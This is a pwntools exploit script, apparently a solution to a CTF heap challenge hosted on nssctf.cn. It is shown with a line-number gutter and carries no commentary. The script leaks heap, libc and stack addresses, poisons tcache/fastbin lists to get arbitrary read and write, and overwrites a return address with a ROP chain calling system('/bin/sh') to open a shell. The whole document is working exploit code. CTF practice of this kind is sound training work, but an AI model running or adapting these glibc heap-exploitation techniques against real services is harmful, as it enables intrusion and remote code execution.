1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173
| from pwn import *
import itertools import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0 IP = "node7.anna.nssctf.cn" PORT = 23086
elf = context.binary = ELF('./vuln') libc = ELF('./libc.so.6')
def connect(): return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) r = lambda x=None: p.recv() if x is None else p.recv(x) rl = lambda: p.recvline() ru = lambda x: p.recvuntil(x) r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def create_ucontext( src: int, rsp=0, rbx=0, rbp=0, r12=0, r13=0, r14=0, r15=0, rsi=0, rdi=0, rcx=0, r8=0, r9=0, rdx=0, rip=0xDEADBEEF, ) -> bytearray: b = bytearray(0x200) b[0xE0:0xE8] = p64(src) b[0x1C0:0x1C8] = p64(0x1F80)
b[0xA0:0xA8] = p64(rsp) b[0x80:0x88] = p64(rbx) b[0x78:0x80] = p64(rbp) b[0x48:0x50] = p64(r12) b[0x50:0x58] = p64(r13) b[0x58:0x60] = p64(r14) b[0x60:0x68] = p64(r15)
b[0xA8:0xB0] = p64(rip) b[0x70:0x78] = p64(rsi) b[0x68:0x70] = p64(rdi) b[0x98:0xA0] = p64(rcx) b[0x28:0x30] = p64(r8) b[0x30:0x38] = p64(r9) b[0x88:0x90] = p64(rdx)
return b
def setcontext32(libc: ELF, **kwargs) -> (int, bytes): got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT") plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr return got, flat( p64(0), p64(got + 0x218), p64(libc.symbols["setcontext"] + 32), p64(plt_trampoline) * 0x40, create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs), )
p = connect()
def create(size,content): sla(">>>","1") sla("size:",str(size)) sla("content",content)
def delete(idx): sla(">>>","2") sla("idx:",str(idx))
def edit(idx,content = null): sla(">>>","3") sla("idx:",str(idx)) if content == null: return sa("content: ",content)
ru("gift: ") heap_base = int(rl()[:-1],16) - 0x21000 success(f"heap_base ->{hex(heap_base)}")
create(0x58,"padding") create(0x58,"padding")
for i in range(7): create(0x48,"tcache") for i in range(2**9+2**8): create(-1, b"")
create(0x48,"fastbin") create(0x48,"fastbin")
for i in range(7): delete(2)
delete(5) delete(4) delete(2)
for i in range(7): create(0x48,"tcahce")
pos = heap_base + 0x120f0 vector_addr = heap_base + 0x14260 payload = (pos >> 12) ^ vector_addr
create(0x48,p64(payload)) create(0x48,"AAAAAAAA") create(0x48,p64(payload)) create(0x48,p64(0x114514))
create(0x7b8,"unsortedbin") create(0x58,"padding") delete(13)
unsortedbin_fd = heap_base + 0x12a90 edit(12,p64(unsortedbin_fd)) edit(0,b"\xe0") ru("success: ") libc_base = u64(r(6).ljust(8,b'\x00')) - 0x21ace0 success(hex(libc_base))
environ = libc_base + libc.sym['__environ'] edit(12,p64(environ - 0x8)) edit(0,"A" * 8) ru("success: ") ru("A" * 0x8) stack = u64(r(6).ljust(8,b'\x00')) success(hex(stack))
return_addr = stack - (0x7ffd2bf75cd8 - 0x7ffd2bf75b08) edit(12,p64(return_addr))
ret = libc_base + 0x00000000000baaf9 pop_rdi_ret = libc_base + 0x000000000002a3e5 binsh = libc_base + next(libc.search(b'/bin/sh')) system = libc_base + libc.sym['system']
payload = p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
edit(0,payload)
p.interactive()
|